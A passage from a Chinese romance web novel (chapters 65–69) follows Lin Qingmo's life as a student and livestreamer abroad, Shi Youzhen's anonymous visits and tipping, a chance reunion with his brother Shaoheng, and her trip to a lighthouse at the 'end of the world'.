施友臻关上车门,林清茉突然在外侧敲了敲车窗,施友臻落下窗户,清茉从自己的衣兜里掏出另外一颗巧克力球,递给施友臻。 像小孩子一样的分享,没有多说任何话,但是施友臻抬眼看她的时候,发现清茉眼圈泛红,要哭不哭的样子,他在瞬间迟疑,是否还按照原先的航班离开。 但是清茉用很坚定的、有些发颤的声音说着:“哥,你保证,不能打扰我。” 施友臻没有吭声,清茉固执地将手伸进来,做出拉勾的手势,话语明明很强势,但是在施友臻眼里,就是久违的撒娇。 他心里软得一塌糊涂,脑子也难得浆糊,就势勾住林清茉的小拇指,抵住她的大拇哥,立马答应,并哄着:“嗯,不会,你好好念书。” 清茉还是忐忑,问着:“那你是来出差?” 施友臻:“嗯。” 清茉松口气,施友臻看她这反应觉得太可爱了,故意坏心眼刺激道:“你是欠下什么巨额债务吗?怎么,怕我讨债?” 清茉收回手,瞬间好像也平复好了情绪,变回了那个有着强大内核、目标明确的独立女性,说着:“这位先生快去机场吧。” 施友臻第三次旅行的二十四小时耗尽,车子启动的时候,好像他变成了有时限灰姑娘。魔法超出二十四小时的限定一下子就消失了,后视镜中的清茉在雨帘之中很快看不清踪影。 施友臻手心里有一颗馈赠的巧克力糖果,看起来很美味,但是舍不得吃。 第66章 第六十六章 清茉没有了雨伞,站在酒店…… 清茉没有了雨伞, 站在酒店的门口看着施友臻座驾消失的方向出神,重逢见面的情境,跟想象中的差异太大, 并不像真实发生的事情。 她很困惑为什么施友臻像变了个人似的,处处透着不寻常的诡异,他以往并不是这个样子的吧, 重新再见面,明明应该是愤怒和质疑, 她撒的谎话, 施友臻不可能到现在还不知道, 既然知道, 又为什么做出风淡云轻的样子。 挡住她脚步的雨终于停歇, 清茉走神地往家走,路过融恒集团的时候,正好跟下班的恩永碰了面, 恩永瞧了眼清茉手中的面包店纸袋子, 目光迥然,说着:“哟, 这是卡着我下班点投喂吗?加班了一天, 饿疯了, 是刚出炉的吗?” 清茉分给他一块,问着:“你们施总, 最近过来出差了吗?” 恩永专注于面包, 问着:“哪个施总?我也是小小施总好不好,小施总少衡哥哥吗?” 刚才施友臻的模样沉甸甸压在心头,清茉说着:“不是,是施友臻。” 恩永疑惑说着:“大哥吗?没有啊, 有的话我早就严阵以待了,哪儿还能在街头啃面包,怎么突然问?啊,我知道了,是不是看到了联姻的新闻?这题我会,传得可真了,女方都拿我哥当砝码谈生意去了,根据我的分析,我大哥现在也不辟谣,第一种可能,就是坐实了真的要联姻,第二种可能,我大哥冷淡人设,懒得搭理,你没见过我大哥,他那人,跟没有世俗欲望似的,提一嘴七情六欲都是对他的亵渎。话说回来,所以他真的有可能就随便结婚了,反正跟谁都一样的话,利益最大化没什么不对,婚后各自过各自的呗。” 清茉听着恩永对施友臻的评价,并不认同施友臻没有世俗的欲望,毕竟在清茉的诸多噩梦中,最可怕的梦就是被施友臻酱酱酿酿搞怀孕了,带球跑也不是,不跑也不是,只能中断事业中断学业,被牢牢捆绑在深宅大院。 施友臻真是个伪善的人,世人都被他的表象蒙蔽了吧。 清茉听着恩永聊了这些八卦,心里反倒是平静下来,爱怎么样怎么样吧,她的第一要务,仍旧是过好自己的生活。 清茉跟恩永商量着下次的直播,恩永周末要去看一场足球比赛,这个国家足球文化盛行,首都的球场是很出名的旅游景点,清茉没去现场看过比赛,问着:“还能买到票吗?我也想去。” 恩永点头:“就凭你施舍给我的半块面包,我也必须搞定票,等着,周末我来接你。但是周日的话,做一顿葱油饼行不行,好久没直播了嘛,想吃葱油饼,多放葱,多放油,花生油。” 刚才跟施友臻相遇的事情,好像真的就是一场梦,她跟恩永聊着天,又被拉回了实实在在的现实生活,答应着:“葱油饼应该比刀削面简单点吧,行,周日我给你做。” 恩永乐道:“那周末见,我打球去了,森森姐拜拜。” 清茉网络账号里有“FOREST”,恩永最近一直都叫清茉森森姐,清茉有时候都恍惚以为他叫别人,不过也没纠正,恩永临走前突然说着:“对了姐,下周我妈妈过来旅游,你能不能假扮我女朋友,我妈估计又要催婚,好烦。” 清茉一愣,仔细回想以前有没有跟恩永妈妈见过,恩永已经当清茉答应了,骑上自行车滚远了。 清茉:“……” 她一路有点恍惚地回到家,在门口又看到了摔碎的花盆瓦片,突然想着,不会是变态的施友臻追踪到这里不小心摔碎的吧!那也确实有够变态,见面不问电话号码,坐上车就奔向机场,搞出一副大仁大义的模样,其实是个跟踪狂? 干脆搬家得了。 但是又有什么必要,为了旁人又要再次改变生活轨迹? 林清茉想着,搬家没必要,但是可以贴个牌子:施友臻不得靠近。 白天睡了一整天,夜里找了个老电影,是个经典的爱情片,清茉瞧着至死不渝的爱情,心里木木的,不能产生太多共鸣,仍旧会反问着那句话,要爱到什么程度,才会抛弃一切在一起呢?看到尾声迷迷糊糊睡着了,并没有想出可以说服自己的答案。 施友臻返程后,直接回到了那处小房产,进门先把巧克力球放进了玄关的老花匣子收藏好,雨伞也放在了玄关置物架醒目的位置,算是他这次行程的战利品。 满载而归。 洗了个澡,换上舒服的家居服,施友臻简单做了套拉伸运动,然后站在日历前,扯掉两页,往后翻了十几页,在下次飞过去的日子上做了醒目的标记。不知道下次会在哪里遇见,她又会是什么反应,期待。 隔天去上班,施友臻的会议排得满满当当,下午会议途中,施友臻突然看到手机最新提示,清茉的社交平台有了新的更新,他点进去一看,是清茉分享的巧克力照片,文字里是巧克力店的名字,还有不同的几种口味。 施友臻用“美食探险家”的账号留言,问着:“好吃吗?” 清茉回复:“超美味。” 施友臻都能想象出清茉说“超美味”时候的灵动语气,又留言问她:“什么时候直播?” 清茉也在线上,秒回:“周六去看足球比赛,开场前给大家直播一小会,周日的话,跟弟弟直播做葱油饼。” 美食探险家:“期待比赛和葱油饼。” 清茉:“好嘞!” 施友臻莞尔,觉得这种多角色扮演似的游戏可太有趣了,林清茉用伪装的身份诓他,他做一次榜一大哥,算礼尚往来。 参会的人瞧着施总盯着手机屏幕突然笑了下,实在反常,纷纷猜测施总是不是好事将近,联姻的事情看来不假,施总现在每两个周都会有固定的休假时间,这搁以前,想都不敢想。 少衡今天也来参会,散会的时候少衡进办公室说着:“哥,妈下周要跟二叔家婶婶飞欧洲旅行。” 施友臻点头:“嗯,去吧。” 第67章 第六十七章 周末的比赛是城市德比…… 周末的比赛是城市德比, 恩永几位念书时候的好友,从北欧、中欧赶过来一起过周末,都是刚毕业的大男孩, 在平台账号上添加过清茉,也看了好几次热闹的直播,见面先冲着清茉鬼哭狼嚎地起哄, 然后一个个眼睛亮晶晶礼貌喊着:“森森姐好。” 恩永贱兮兮抬下巴指了指林清茉,说着:“看, 没骗你们吧, 森森姐是不是大姐大味儿纯正, 我们真没处, 我就是森森姐小弟。” 大男孩们又起哄, 清茉别扭地听着“森森姐”这个称呼,忍笑半天,邀请道:“来都来了, 明儿跟我一起直播呗, 观众朋友们爱看男大阳光小生揉面剁葱。” 男孩们爽快道:“收到!” 球场内外喧嚣热闹,他们坐在主队区, 开场前清茉遵守诺言开了直播, 镜头拍摄着球场全貌, 拍到主队壮观的TIFO,说着:“在球场看球好解压, 能听到现场声音吗?超热闹!绿草地超级养眼, 下面有请本场专业解说员老弟给大家讲解本次TIFO的含义。” 恩永跟朋友们轮番抢着直播,七嘴八舌地讲着球队历史和八卦,因为有各自支持的主队,评论区比以往更加热闹, 都吵起来了,刚开始是小吵,后面都刷屏了。 球员马上要出场,清茉就跟观众说拜拜,正准备关掉,看到那位“美食探险家”又在刷打赏,华丽丽的打赏画面盖住了评论区翻涌的争论骂战,清茉赶紧说着:“谢谢榜一大哥!不过今天的直播就到这里了!我没有转播权哦!明天葱油饼见!” 晚上的比赛大男孩们的主队获胜,一路高歌往回走,清茉都被吵得耳朵疼,恩永专门去买了主队的帽子扣在清茉头上,年轻快乐的情绪让夜晚更加轻松,一定要买啤酒去清茉家里继续嗨。 徐阿姨租给清茉的房子是个二层小独栋,一楼有间客房,沙发也能睡人,三个男孩就这么愉快地决定了留宿清茉家,去买了很多很多酒,沉甸甸一人抱一大兜,就这么大咧咧往清茉家住进去了,四个人凑一起,闲着也是闲着,直接开始打牌。 恩永一遍打牌一遍炫耀,说着:“我们家据说只有一个人没输过,你们猜是哪位,对,就是我大哥施友臻,他心狠手辣,跟谁打都算牌,我爷爷被他算过几次气坏了,把他从牌友上除名,反正没人乐意跟他打了,所以他现在也还保持不败记录,这排第二名的嘛,当然就是我喽。” 清茉听到他提施友臻,走神摸错了牌。恩永又讲错了,施友臻不太会打牌,清茉稍微长大点的时候,尖子班竞争压力大,她有次竞赛被淘汰,心情很不好,自己坐在后院哭着泄气,施友臻正好路过,喊清茉上二楼玩扑克。 玩的是简单的357,清茉全胜,每赢一局就可以许愿要一件礼物,分差赢最大的那局,她要的奖品是一趟旅行,当时故意使坏,说让施友臻陪她旅行,挑了很远很远的地方,在地图上圈了南美大陆离着南极圈最近的地方,据说那里有个叫世界尽头的地方。 输掉全部牌局的施友臻竟然答应了,答应的时候林清茉都不敢相信自己的耳朵,再三询问,施友臻还是那副君子一言驷马难追的稳定表情,说着:“嗯,可以。” 林清茉当时挺犯难,要是旅行搭子,少衡或许更有趣,但是施友臻是不怎么轻易答应旅行的人,这样的许诺有种很金贵的感觉。 后来诺言没有了兑现的机会,清茉也没能好好复习重新获得竞赛资格,世界尽头的旅行更像是一场少年赠与的善意,一股脑留在了那段美好的岁月中。 清茉之后又刷到过最南端的那个地方,已经是很热门的旅游地点了,网上很多人晒出冰山和灯塔,还有“世界尽头”的邮戳。 恩永提醒清茉摸错了牌,清茉嗯嗯着重新摸,恩永朋友打闹道:“快闭嘴吧,大好的夜晚非得提你哥,我家老爷子前几天还要送我去融恒总部实习,想想就发抖,我说我就要做体育记者,老爷子气坏了,森森姐,你在读博吗?一听就好厉害,有没有兴趣跟我一起写稿?我有个自己运营的体育账号,也准备成立个公司,搞点跨国体育文化交流,森森姐一看就是学霸,我超级缺会写会策划的人才。” 林清茉不拒绝一切靠谱的正当的经济来源,答应道:“行啊,改天给我看看你账号的风格。” 恩永乐:“得,等着都成森姐的小奴隶吧。” 打牌的时间是另外一种计算方式,不知不觉四个人玩到后半夜,老是输牌的酒蒙子小弟弟直接睡趴下了才散,清茉安顿下他们几个睡客房跟沙发,自己也上楼睡觉去了,结果第二天就起晚了,比直播预告超过了一个小时。 施友臻早早就结束手中工作,在小屋里舒舒服服地点开了账号等待,结果一等二等三等就是不来,他留言也不回,盯着分针秒针读时间,都想跟恩永打电话让他过去看看了,清茉的账号突然就开始了直播。 镜头刚开始晃来晃去,有种慌张的感觉,直到固定在厨房中的老地方,清茉说着:“抱歉抱歉,昨天晚上看球回来跟弟弟们又喝酒打牌,后半夜才睡,上午起晚了,他们还睡得跟猪仔似的,我先和面。” 施友臻听着“跟弟弟们喝酒打牌”这几个字,刺耳地坐直了身子,那些被他隐藏按捺下的晦涩情绪又开始翻涌,给予尊重和自由,与独占欲是极大的矛盾,哪怕是知根知底亲戚家的小屁孩也不行,怎么能让好几个大男孩睡在自己家里呢? 施友臻心里冒了火,但是真应了林清茉之前老是调侃的“天高皇帝远”,他能怎么样,打电话过去臭骂恩永一顿?还是立马再飞过去教训清茉一顿?那样的话,好像又回到了之前的循环,清茉不会喜欢。 施友臻深深呼吸,成年人有自己的判断和处事方式,林清茉在属于他之前,或者之后,都该是独立自由的,不管是她的学业、事业还是交友。 往来飞过几次见识了清茉非常好的新状态,施友臻才慢慢肯定了自己的想法:清茉拥有更大的世界之后,那个世界才会有他施友臻的位置。 所以施友臻继续咬着后槽牙看直播,听着他心爱的女孩喊着宿醉的傻小子们起床洗漱,恩永这混小子竟然张嘴就是要吃早餐,甚至点名要吃红糖水卧蛋。 清茉还真给做了,直播镜头里她问着男孩们能吃几个鸡蛋,其他人都吃不下,恩永先说吃三个,又说吃六个,清茉无语道:“谁家好人一大早吃六个鸡蛋?我冰箱里只有两个了!” 施友臻听得心情又变好了,舒舒服服靠在沙发里继续听着清茉对男孩们发号指令,外出买鸡蛋的一员,洗香葱的一员,揉面的一员。 施友臻津津有味看着,继续刷他的豪华打赏套餐,一时间没注意数量,把清茉的账号刷到了打赏榜第一位。 还是出门买鸡蛋的弟弟先发现了,一改熬夜的颓废,进门就亮眼放光尖叫:“我们直播榜一了!卧槽我要不要脱衣服露腹肌!” 清茉:“?” 一瞬间涌进来超多人,评论区刷屏:“这是什么直播?” 老粉丝装模作样卖弄回复:“一个女人和三个男人的河蟹生活。” 清茉赶紧说着:“我们直播做葱油饼,已经和面了,马上做。” 恩永毕竟是施家人出来的,心眼多一些,把清茉喊到镜头收不了音的地方,小声问着:“森森姐,我能找到平台公司的负责人,要不要调查一下榜一什么情况?他砸的钱有点夸张了,别给你造成困扰。” 清茉犹豫了下,说着:“这样不好吧,侵犯人家隐私,这不还没事儿嘛。” 恩永点头:“那好吧,多关注着点,这年头变态太多了,他要是提什么无理要求,你一定跟我讲,我们兄弟几个有力气有手段,肯定收拾他。” 因为观看人流暴增,几个小伙子来了精神,齐刷刷站在厨房里严阵以待,都没清茉落脚地儿了,清茉调整好了镜头,说着:“等一下,我先查一查擀什么样的面皮儿。” 评论区好多问好,问着:“这是新手教学?” 老粉丝自觉担当客服:“留学生传承中华美食特辑。” 好的决定了擀大面皮还是小面皮,鉴于今天吃饭的嘴多,就做大面皮的油饼,刚要照着视频下手去擀,发现没有买长一些的擀面杖,就只有擀饺子皮的小面擀杖,就临时更改了主意,换成了烙小油饼。 新网友:“所以打赏的点儿在哪里?我是谁,我在看什么?” 清茉也头一次遇到这么大流量,有点紧张解释道:“我们几个都不擅长做饭,出门在外想吃家里的味道,就边学边做,大家可以把家乡的葱油饼做法分享给我们。” 用户“美食探险家”不吭声,只是继续一味的打赏标明坚定不移的支持,清茉忍不住喊着:“这位美食家朋友,今天非常非常感谢您的支持,但是咱都榜一了,已经非常辉煌了,要不咱们今天先打住?” 在一直盯着直播间的弟弟突然醒悟,激动道:“哦哦哦,咱们榜一大哥在战斗哎!榜二在狂追!” 网友和恩永他们都去关注打榜大战,瞬间鸡血起来,恩永跟弟弟们也都是不缺钱的主,纷纷发动亲朋好友参与打投。 林清茉:“朋友们,让我们回归葱油饼本饼好吗?” 男人一旦进入胜负欲的游戏中,就听不到旁人的话了。 林清茉:“……” 被乱七八糟涌进来打赏的人冲掉霸屏地位的施友臻:“……” 第68章 第六十八章 恩永和朋友们发动的势力不…… 恩永和朋友们发动的势力不容小觑, 都是公子公主的交际圈子,一呼百应热热闹闹,在清茉的直播间胜负欲爆棚, 施友臻点进去几个打投积极的账号,看着里面年轻人花里胡哨的内容,默默停了打赏, 反倒清闲下来看清茉折腾葱油饼。 放的葱花未免也太多了些。 施友臻想着,以后清茉在家做葱油饼, 他在一旁监工的话, 要提醒她稍微少放一些葱花, 花生油也少放一些, 都溢出来了。狮麟跟澜湾房子的厨房, 是不是还不够大,应该给她配个更宽敞的厨房折腾。 转念一想,算了, 她喜欢放多少葱就放多少吧。 第一张葱油饼在年轻人的起哄鼓掌中出锅, 清茉撕了个酥脆的边边投喂给恩永,恩永嘶啦嘶啦烫嘴吃掉, 夸张说着:“天!太香了!一定是因为我面揉得太好了!就是这个味儿!” 小伙子们三口两口分食干净, 把灶台紧紧围住, 等着下一张葱油饼成熟。 清茉直播间已经稳居打赏榜第一位,一旦起势就会进入良性循环, 清茉这个号算是做起来了, 葱油饼直播结束的时候看到评论区好多人点餐下一次的直播,清茉还没想好,跟直播间的观众朋友们说再见的时候许诺道:“今天也谢谢大家,下次可能会是一次惊喜的旅行直播, 等我们再相见吧。” 恩永捧着他抢到的最后一块葱油饼,等直播镜头关掉后问着:“森姐,又要旅行了吗?去哪儿?需要搭子吗?跟我们骑行去?” 清茉忙了一大顿,就抢到一小块葱油饼,看着恩永吃得满嘴油光,好气又好笑,把他脑袋拨开,说着:“不用!” 恩永突然想起来正事儿,又凑过来,小声说着:“姐,我妈后天过来,别忘了帮我。” 清茉一愣,没想到这么快,想推脱,但是一想恩永最近也帮了好多忙,心软就答应了下来。大男孩们在家里待不住,清茉赶他们出门玩去了,自己收拾好厨房,又把房子卫生搞了一遍。这两天阳光很好,洗好的衣服统统晒到了小院子里,干完家务活很解压,舒舒服服洗澡躺到床上。 刷了几个旅游攻略,清茉查了查后面几个星期的学校课业行程,当即订了机票。 葱油饼的直播收入可观,清茉浏览着后台算着账目,因为占了一段时间的打赏榜榜一,粉丝量又涨了不少,后台好多广告邀约,清茉爬起来仔细分类整理一番,又想起来恩永朋友提起的那个体育公司的软文写作的活儿,也查询了一番。 把当下想干的事情排序一番,时间仍旧紧凑。清茉看着自己的日程表,感慨东方人就是骨子里的劳碌勤奋,可以松弛一日半日,做不到每天都懒洋洋的晒太阳喝咖啡,最起码她做不到,还是忙起来觉得充实。 准备关机睡觉的时候,看到后台有新信息提醒,榜一大哥“美食探险家”发来私信,问:“下次直播大概什么时间?” 清茉下次准备给观众朋友们惊喜,所以暂时保密,回复着:“敬请等待惊喜!到时候会闪现直播,明信片收到了吗?” 美食探险家:“还没有。” 清茉:“这成书回已是明年事了,不好意思有点慢,今天也感谢支持!看您ID一定对美食很有研究,期待指导和建议!” 美食探险家:“看起来很美味,已经很优秀了。” 清茉:“谢谢!” 清茉对待陌生人表现出的礼貌和情绪,施友臻觉得很新奇,不想就此结束话头,又追问着:“没关系,书信本就很慢。旅行愉快,虽然猜不到目的地是哪里。” 清茉总觉得跟粉丝私聊不太好把握分寸,怕说多了谄媚,说少了没礼貌,对方又是砸钱的榜一大哥,就拿捏着回复道:“也会给您递明信片,不过可能会更慢。” 美食探险家:“谢谢,期待。” 清茉发了可爱的表情包,妥帖地结束了对话。 周五下午,恩永早早过来接清茉,进了小院看到清茉在整理盆栽,也挽起袖子帮忙,问清茉哪里淘弄的花盆,一个个都挺漂亮,清茉说着:“你还挺有眼光,上次被人碰掉一个,摔碎了好心疼,特意又去多买了几个。” 整理好小院,时间也差不多了,清茉进去换了身衣服,招呼恩永出发,恩永抬眼去看清茉,问着:“我真觉得咱们以前见过。” 清茉警告:“我假扮成你女朋友帮你骗父母总归不对,回头阿姨回国,你找个时机解释清楚,笑什么,别嘻嘻哈哈,听见没!” 恩永:“知道了!” 吃饭的地方是市中心的一家老牌餐厅,清茉在门口做了一番心里建设,刚跟恩永往里走,拐进去看到了已经落座的两位端庄妇人,清茉一愣,瞬间转身藏到墙后,恩永问着:“怎么了?” 清茉赶紧编理由:“突然想去卫生间,你先过去!” 恩永点头,清茉鬼鬼祟祟猫着腰往外撤,马上到酒店门口的时候,突然被人抵住了额头,对方也弯腰低头,对上清茉的眼睛,满是诧异问着:“茉茉?” 清茉听到对方声音一怔,抬眼看到了少衡。 刚才在餐厅里面两位妇人之一,是少衡的妈妈,当然,也是施友臻的妈妈。清茉跟恩永妈妈不熟,但是太熟悉施妈妈了,远远看过去就认得出来,这次临阵脱逃,没想到在门口被少衡堵住。 清茉紧张地朝餐厅里面望了望,食指比在双唇上,示意少衡小声一点,拉着少衡朝门外走去,拐到另外一条街上,清茉才问候道:“你怎么来了?” 施少衡也很意外,一边是意外,一边是加速的心跳,面前的女孩笑容坦荡,没有一丝一毫断掉联系的不好意思,阳光下鲜活得像是梦境。他这小半年工作繁忙得像被鞭子抽打的骡子,几乎被驯化成了另一个版本的施友臻。 变成施友臻的模式,就会发现,情绪自然而然会收敛,这世上并没有那么多值得外放的情绪,也并没有那么多值得倾泻精力的事情。 她凭什么那么坦荡?自己是被划入无关紧要的人吗? 施少衡没有像以前那样咋咋呼呼,安静等着清茉开口讲话,清茉倒也有几分重逢的欣喜,最起码眼睛亮晶晶充满笑意,解释道:“恩永托我扮演他女朋友,我不知道你妈妈也在,差点露馅儿,赶紧跑出来了。” 少衡从这个无厘头的解释中,提炼出了几个重点,压在心里的疑问很多,并不关心恩永怎么样,他看着眼前的清茉,问她:“没什么话对我讲吗?” 清茉避重就轻,说着:“你是陪阿姨来旅行吗?好巧,等一下我给恩永打个电话。” 少衡不吭声,看着她给恩永拨电话。他都没有清茉新的号码,如果不是意外遇到,可能就遇不到了,属于茉茉不会再联系的人,因为茉茉觉得“恶心”不是吗。 清茉说学校里临时有事,哄着恩永说明天早晨给他带三明治,少衡听着清茉哄恩永,心里不是滋味。他这小半年心境变化很大,不会为这种哄着小男孩的语气觉得心动,但是别扭的是,茉茉以前这种哄过他的。 时过境迁,特权成了别人的,甚至没有走出施家家族,是另外一个更年轻的弟弟。 沉淀下的少衡,也变得尖锐,直接说着:“这么喜欢我们家的男孩?” 清茉很短暂地一愣,立刻也挂上了社会人客气梳理的礼貌,解释道:“我住在融恒公司附近,恩永不记得小时候见过,不过帮了好多忙,确实挺招人喜欢,有空帮他带饭吃。” 少衡不想听这些解释,指了指旁边的一家餐厅:“坐下聊吧。” 清茉没同意,领着少衡又往前走了几条街,确定不会轻易被恩永看到,才挑了家餐厅,正好还有露台的景观位置,清茉还是礼貌友好地笑着问少衡:“西语可以吗?我来帮你点好不好?这家有招牌菜。” 少衡点头,清茉熟练地跟服务生点好餐,介绍着收入眼底的城市景色和不远处的广场和教堂,少衡安静听着,明明记挂的人突然出现在眼前,他的心情仍旧不见得多好。 也并没有多记挂吧,人都活得现实,清茉第一次离开的时候,他是懵懂少年,没有寻找的实力,清茉第二次离开的时候,他被工作业务压得喘不过气,只是接受了清茉离开的事实,没有寻找的执念。 为什么没了执念呢? 那种感情的执念,像一种真正的奢侈品,难以得到,也难以给予。 少衡长长叹口气,接受了眼前的现实,像普通重逢的朋友那样,换了轻松的语气,也客气地问着:“是在这边留学吗?听六六提过。” 清茉没回答详细的内容,只是说着:“嗯,换个环境,你呢,来融恒出差?” 少衡:“嗯,过来调研一圈,正好陪妈妈两天。” 因为都客气,清茉没有让场面冷场,介绍着这家餐厅和美食,周围的景点也都给少衡讲,还推荐了周末的足球比赛,南边漂亮的沙滩和海岸。 少衡倾听的时间多,用餐时间过得很快,清茉觉得今天的佐餐酒不错,给少衡推荐了几处酒庄,让他有时间去参观游玩。听得出清茉在这里过得惬意快乐,少衡心里的情绪就更复杂了,他问着:“联系方式可以给吗?” 清茉实话实话:“不太想给。” 少衡沉默,清茉:“但是你可能会问恩永要,所以还是我给吧,你先别跟恩永提认识我,以前的事儿我没跟他讲过。” 清茉把新的号码报给少衡,少衡记下,清茉继续说着:“你们家的男孩教养很不错,恩永是个好孩子。” 少衡没吭声,清茉还是忍不住点评道:“你怎么突然话变少了?我还怪不适应。” 少衡:“话多你不是觉得恶心吗?” 清茉:“咱不带这么记仇的。” 少衡:“嗯,我看你这样,什么都不记挂,挺好的。” 清茉大方点头:“没错,是挺好的,所以就算拿到了号码也别轻易联系我哦。” 少衡无语地看着清茉的眼睛,无语到气笑,答应着:“好,不联系,放心吧。” 清茉结账,送少衡出门,少衡突然问了句:“烫伤的地方,留疤了吗?” 清茉一愣,说着:“嗯,有几处。” 少衡阴沉沉地没再问,走到前面的街口,清茉准备跟少衡分开了,她找了个借口要往学校的方向走,分别后走出去很远,突然听见少衡在身后大声喊着:“茉茉!” 清茉回头,高高扬着胳膊挥手,也喊着:“拜拜!” 少衡心里五味杂陈,分别不是他想要的分别,重逢也不是他想要的重逢,熟悉的人走成陌路的人,喊住也留不住,放走又不甘心,天高海阔,阳光明媚,她怎么做到这么磊落又潇洒地挥挥手就是再一次告别。 第69章 第六十九章 人的情绪世界说起来也奇妙…… 人的情绪世界说起来也奇妙, 在柏金酒店云端CLUB遇到施家兄弟的时候,戒备敏感得像只刺猬,处处都是前后际遇落差的天堑对比, 去安姨家中吃顿饭,在旁人的善意中都能情绪崩溃,且不说对施友臻, 面对少衡也不见得多坦荡,人就是有把世界越过越小的本事。 如今异国街头相遇, 心里反倒平静, 遇到就遇到了, 分开也就分开了。 心中没起太多波澜, 清茉干脆顺着路继续去学校图书馆借阅了几本书, 难得导师在学校,过去打了个招呼,简单交流了下最近的安排, 顺便把旅行日程跟导师交流, 导师洒脱说着: “我十年前去过,跟当时的爱人一起, 是非常有故事感的地方, 祝你享受旅程。” 从学校返回家中路过融恒公司门口, 恩永正站在台阶上,瞧见清茉不满抱怨道:“临阵脱逃!毫无义气!” 清茉乐, 问着:“怎么在门口游荡?没陪阿姨?” 恩永:“二哥来视察业务呢, 我亲自当司机,待会送他们去机场。” 清茉点头,知道少衡也在楼里,仍旧是心里没什么波澜的感觉。所以说, 还是要好好告别一次,少年伤怀的千愁万绪,会存在第一次,但是很难再重现第二次了,在六六小店门口紧紧拥抱的画面也像已经过了经年累月,那刻的欣喜和伤感,真实但是也淡去了。 清茉开玩笑问着恩永:“你怎么没上桌开会啊?” 恩永收下揶揄,也笑着说道:“一直在开,我都要练成铁锭功了,出来透透气,马上就出发去机场了。” 清茉:“那快忙吧,回头给你做肉夹馍补偿,我收拾收拾准备出发旅行了。” 恩永也洒脱摆摆手,说着:“行,肉夹馍见。” 有些人,再见一次才算是画上句号。 施友臻第四次旅行出发前夕,施妈妈从国外旅游回来,因为在澜湾蹲不到施友臻,就再次到了他融恒总部办公室,喝了会茶施友臻才结束会议,施妈妈酝酿好的情绪散掉了大半,送给施友臻一块腕表,递过去给施友臻,絮絮叨叨说着: “你最近怎么老戴这一块腕表,出去逛街看着一块感觉很合适你就拿了,这么大还收到妈妈礼物是不是很快乐?” 施友臻接过去说了句“谢谢”,施妈妈真是习惯了施友臻这什么时候都不咸不淡的熊样,说着: “之前觉得少衡是我的小棉袄,可爱调皮但是嘴甜,我看最近他怎么照着你的样儿长,陪我在国外待了两天,天天都是忙工作,无趣得很,所以我这辈子最大的遗憾就是没生个小闺女,记得以前咱们邻居家有个叫茉茉的小女孩吗?” 施友臻安静听着,点头:“记得。” 施妈妈继续聊着:“我当时都想认下来当干女儿了,白白嫩嫩软软,超可爱,不像你们两个臭小子,一个两个都不解风情,我连个逛街的人都找不着。你堂弟恩永也不是靠谱的,说好了带女朋友来跟我们一起吃饭,结果他小女友临阵放鸽子,现在的年轻人,真是一个比一个有谱。” “我跟你婶婶猜,绝对就是跟恩永一起直播的那个女孩,最近几次直播都在人家女孩家里呢,给恩永这个小馋猫做好多好吃的,年轻真好,甜甜蜜蜜。” 施友臻:“……” 施妈妈:“对了,你不至于要外派少衡吧?我看他在外面调研得很仔细,这小子突然就话少了,家里难不成要出两个工作狂,你俩不会挣产业打起来吧,妈妈心里好失落哦,你周末回家里住吧,陪我爬爬山。” 施友臻当然不会接受,周末是他期盼已久的第四次旅行,回绝道:“周末要出差,下次吧。” 施妈妈无语:“行吧,看来还是得你爸陪我,老伴老伴,老来伴,臭小子们指望不上,这还都没娶媳妇呢。” 施妈妈起身要走,施友臻突然来了一句:“以后我生个女儿陪您玩。” 施妈妈一愣,简直不敢相信自己的耳朵,瞪大眼睛问着:“你说什么?我幻听了吗?你跟谁生?你是不是有情况?” 施友臻摇头:“口头先承诺一下。” 施妈妈一愣一愣的,赶紧说着:“未婚先孕也没关系的,婚礼什么时候办都来得及,我们现在的家长很开放。” 施友臻:“……” 其实他也觉得奇怪,之前林清茉在眼前的那段时间,不管是走到拥抱或者亲吻的地步,他并没有更多关于未来的急切规划,毕竟情侣恋爱到婚姻伴侣,还有很长的一段路要走。反倒是清茉离开之后,他突然生出很多关于未来的明确愿景。 他到现在甚至都还没有林清茉的电话号码,但是不妨碍他心里笃定兜兜转转的缘分是绕不开的,以前以为玄学是放屁,现在倒是享受起因为不确定性带来的各种浪漫邂逅。 施友臻在定好的日期,启动了他的第四次旅行。 入住了同一个酒店的同一个房间。酒店大堂中有面包房的麦香,办理入住后施友臻去买了一包百分之九十的黑巧,还有一袋清茉上次分享的糖果巧克力,用漂亮的彩纸包着,一颗颗圆润润很漂亮。 上次的那颗还放在玄关的盒子中,施友臻没舍得吃,这次可以多买几颗尝尝味道。 在房间露台上看对面花店老板忙忙碌碌,下楼路过的时候买了一大捧新鲜的红玫瑰,朝着清茉住的房子走去,兜里揣了两颗巧克力,如果遇见,也可以分享一颗放在清茉的手心中。 清茉的小院子里又新添置了几盆漂亮的植物,安安稳稳培育在几个漂亮的陶瓷花盆里,看样子也是新添置的。不过屋子门窗紧闭,不像在家的样子。施友臻想,按照这个国家的法律,他如果侵入占领48小时,是不是就不用离开了。 就是想想罢了。施友臻把玫瑰花放到围栏内侧,如果清茉回家,推开门就会看到。 二十四小时的旅行时间,并不能保证一定会等到,或者说纯靠几率去偶遇,见不到才正常。 施友臻像一个真正的度假游客,在城市里散步、寻找美食小店,甚至走进一家当地传承百年的珠宝商铺挑选了心仪的几款珠宝,午后回到酒店松散地睡了个午觉,醒来后换上跑步的装备,绕着附近的街区运动个把小时。 运动回来洗漱好,看到手机中社交平台的信息提醒,清茉的账号刚刚发布了最新一期的直播预告,大约一个小时之后开始。 施友臻放松地找了个舒服的姿势,闲适地等待清茉的直播,也好奇这家伙又跑到了什么地方,一直神神秘秘不公开。 一个小时之后,清茉的账号开了直播,但是镜头中黑乎乎一片,应该是故意遮挡住了,清茉的声音从镜头中传来,她还是轻快饱满的阳光样子,打招呼说着: “嗨!我的观众朋友们都来了吗?准备好了吗?马上我倒计时,给大家看眼前的景色!” “十,九,八,七,六,五,四,三,二,一!” 镜头前的遮挡被撤走,豁然开朗的镜头中是海岛上的一座红色灯塔,矗立在蔚蓝海中,再远是顶着积雪的高山,隔着镜头都能感受到那边的清冽海风。 清茉迎着风说着:“我转机折腾将近三十个小时飞过来,很多人都称这里是世界的尽头,早些年文艺电影里有提过,看到灯塔了吗?算是标志性的景观了吧,这里好漂亮,以后有机会可以从这里出发,沿着安第斯山脉向北边旅行。” 呼啸的风声也收录进了清茉的话筒中,施友臻在安静的房间里听着清茉继续说着: “飞过来真的好远,很累,时差我都糊涂了,不过站在这里觉得特别值得,朋友们通过我的镜头不知道能不能体会到。” 